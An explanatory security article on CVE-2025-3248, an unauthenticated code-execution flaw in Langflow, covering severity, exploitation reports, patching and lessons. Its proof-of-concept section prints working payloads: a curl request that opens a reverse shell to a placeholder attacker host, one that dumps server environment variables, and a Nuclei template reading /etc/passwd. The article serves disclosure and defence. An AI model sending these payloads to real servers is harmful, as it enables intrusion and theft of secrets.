Critical Vulnerability in Langflow: CVE-2025-3248 Explained

Introduction

In the fast-evolving world of artificial intelligence, tools like Langflow are helping developers create powerful AI-driven applications. However, a recently discovered security flaw, known as CVE-2025-3248, has raised alarms in the cybersecurity community. This critical vulnerability in Langflow, an open-source platform for building AI workflows, appears to allow attackers to run harmful code on vulnerable servers without needing any login credentials. With a CVSS score of 9.8, it’s considered extremely dangerous. This article explores what CVE-2025-3248 is, why it matters, and how organizations can protect themselves.

What Is Langflow?

Langflow is a low-code, open-source platform designed to simplify the creation of AI-powered agents and workflows. It offers a visual interface where developers can drag and drop components to build complex AI applications, supporting major large language models (LLMs), vector databases, and various AI tools. According to Langflow’s official site, it’s a favorite among tech firms and AI-focused companies because it speeds up prototyping and deployment. Its Python-based framework and API server make it easy to integrate AI agents into any application, but like all software, it’s not immune to security risks.

Understanding CVE-2025-3248

CVE-2025-3248 is a code injection vulnerability affecting Langflow versions prior to 1.3.0. The flaw lies in the /api/v1/validate/code endpoint, which doesn’t properly check user inputs. This allows attackers to inject malicious Python code, enabling them to run any command on the server. Known as an unauthenticated remote code execution (RCE) vulnerability, it’s particularly dangerous because no login is required, making it accessible to anyone with network access to the server.

The issue was fixed in Langflow 1.3.0 through a pull request (PR #6911) that added authentication checks. However, any organization still using older versions is at significant risk.

Attribute	Details
CVE ID	CVE-2025-3248
Affected Software	Langflow versions prior to 1.3.0
Vulnerability Type	Unauthenticated Remote Code Execution (RCE)
CVSS Score	9.8 (Critical)
Vector	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Patch Version	1.3.0
Exposed Instances	Over 500 internet-facing instances, per Censys

Why Is It So Serious?

With a CVSS score of 9.8 out of 10, CVE-2025-3248 is classified as critical, indicating it’s easy to exploit and can cause severe damage. Attackers could use it to steal sensitive data, install malware, or even take full control of a server. While Langflow’s use is more specialized than mainstream software like Apache, its role in AI development means that affected organizations—mostly tech and AI companies—could face significant disruptions. Research suggests hundreds of companies globally might be impacted, with over 500 internet-facing Langflow instances identified by Censys.

Although it’s not yet listed in CISA’s Known Exploited Vulnerabilities catalog, reports from the SANS Internet Storm Center indicate exploit attempts, particularly from TOR exit nodes, around April 10–12, 2025. This suggests active interest from attackers, making immediate action essential.

How Attackers Exploit It

The vulnerability’s simplicity makes it highly exploitable. Attackers only need network access to the Langflow server to send a crafted HTTP POST request to the /api/v1/validate/code endpoint. This can trigger malicious code execution, such as running system commands or opening a connection back to the attacker’s machine. Several proofs of concept (PoCs) have been shared online, showing just how easy it is to exploit.

Example PoCs

1. Reverse Shell PoC: This script creates a reverse shell, giving attackers full control of the server: curl -X POST -H 'Content-Type: application/json' http://target-langflow-server:8000/api/v1/validate/code -d '{"code": "@exec(\"import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\"attacker_ip\\\",9999));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(\\\"/bin/sh\\\")\")\ndef foo():\n pass"}'
2. Command Execution PoC: This script runs the env command to access environment variables: curl -X POST -H 'Content-Type: application/json' http://target-langflow-server:8000/api/v1/validate/code -d '{"code": "@exec(\"raise Exception(__import__(\\\"subprocess\\\").check_output(\\\"env\\\"))\")\ndef foo():\n pass"}'
3. Nuclei Template: A detection tool that tries to read /etc/passwd to confirm the vulnerability: id: CVE-2025-3248 info: name: Langflow Unauthenticated RCE severity: critical requests: - method: POST path: /api/v1/validate/code headers: Content-Type: application/json body: '{"code": "@exec('raise Exception(__import__(\"subprocess\").check_output([\"cat\", \"/etc/passwd\"]))')\ndef foo():\n pass"}'

These PoCs, detailed by Horizon3.ai, show that even attackers with basic skills can exploit this flaw. GitHub repositories like xuemian168/CVE-2025-3248 and PuddinCat/CVE-2025-3248-POC further lower the barrier by providing ready-to-use scripts.

Protecting Your Systems

Organizations using Langflow can take immediate steps to mitigate the risk:

1. Update to Langflow 1.3.0: The Langflow 1.3.0 release fixes the vulnerability by adding authentication checks, as implemented in PR #6911.
2. Limit Server Access: Restrict access to Langflow servers to trusted IP addresses or internal networks to reduce exposure.
3. Monitor for Suspicious Activity: Check server logs for unusual POST requests to /api/v1/validate/code, especially from unknown or TOR-related IPs.

Beyond these steps, organizations should adopt broader security practices, such as regular vulnerability scans, secure coding standards, and employee training on cybersecurity best practices. These measures can help prevent similar issues in the future.

Lessons from CVE-2025-3248

This vulnerability highlights critical lessons for developers and organizations. First, proper input validation and authentication are non-negotiable, especially for platforms handling sensitive AI workflows. The flaw in Langflow stemmed from a failure to sanitize user inputs, a basic but often overlooked security principle.

Second, the Langflow team’s decision to label the fix as a “bug” in the release notes, rather than clearly disclosing it as a security issue, may have delayed awareness. As noted by SANS, this lack of transparency could have put users at risk. Clear communication about security fixes is essential to ensure timely action.

Finally, the incident underscores the need for proactive security in AI development. As AI tools become more widespread, they’ll increasingly attract attention from cybercriminals, making robust security a top priority.

The Growing Importance of AI Security

AI is transforming industries, from healthcare to finance, but it’s also becoming a target for cyberattacks. CVE-2025-3248 is a wake-up call for the AI development community to prioritize security. Tools like Langflow, which handle sensitive data and critical workflows, must be built with ironclad protections.

Interestingly, AI itself is playing a dual role in cybersecurity. An X post by user @_r00tuser (X Post) highlighted how AI tools like DeepSeek can generate exploit code, showing how AI can be both a solution and a potential threat. This duality means developers must balance innovation with security, ensuring AI tools are safe from misuse.

As AI adoption grows, we can expect more vulnerabilities to emerge. Organizations must stay vigilant, regularly updating software, monitoring for threats, and investing in cybersecurity expertise to stay ahead of attackers.

Conclusion

CVE-2025-3248 is a critical vulnerability that poses a serious threat to organizations using Langflow for AI development. Its ease of exploitation and the availability of public PoCs make it a pressing concern, but the fix in Langflow 1.3.0 offers a clear path to safety. By updating promptly, restricting server access, and adopting strong security practices, organizations can protect themselves.

This incident is a reminder that as AI reshapes the world, security must keep pace. Developers, organizations, and the broader tech community must work together to build a secure foundation for AI innovation, ensuring that tools like Langflow remain powerful assets rather than liabilities.

Key Citations

• NVD – CVE-2025-3248 Vulnerability Details
• Horizon3.ai – Abusing Python Exec for Unauth RCE in Langflow
• Horizon3.ai – CVE-2025-3248 Langflow Unauth RCE Vulnerability
• SANS Internet Storm Center – Langflow CVE-2025-3248 Exploit Attempts
• Langflow GitHub – Release 1.3.0
• Langflow GitHub – Pull Request #6911
• GitHub – xuemian168 CVE-2025-3248 PoC
• GitHub – PuddinCat CVE-2025-3248 PoC
• Censys – Langflow Exposed Instances
• X Post – DeepSeek Exploit Generation
• Langflow Official Website
• Langflow GitHub Repository
• Cyber Security Roundup April 11
• LastPass Breach
• OWASP Top 10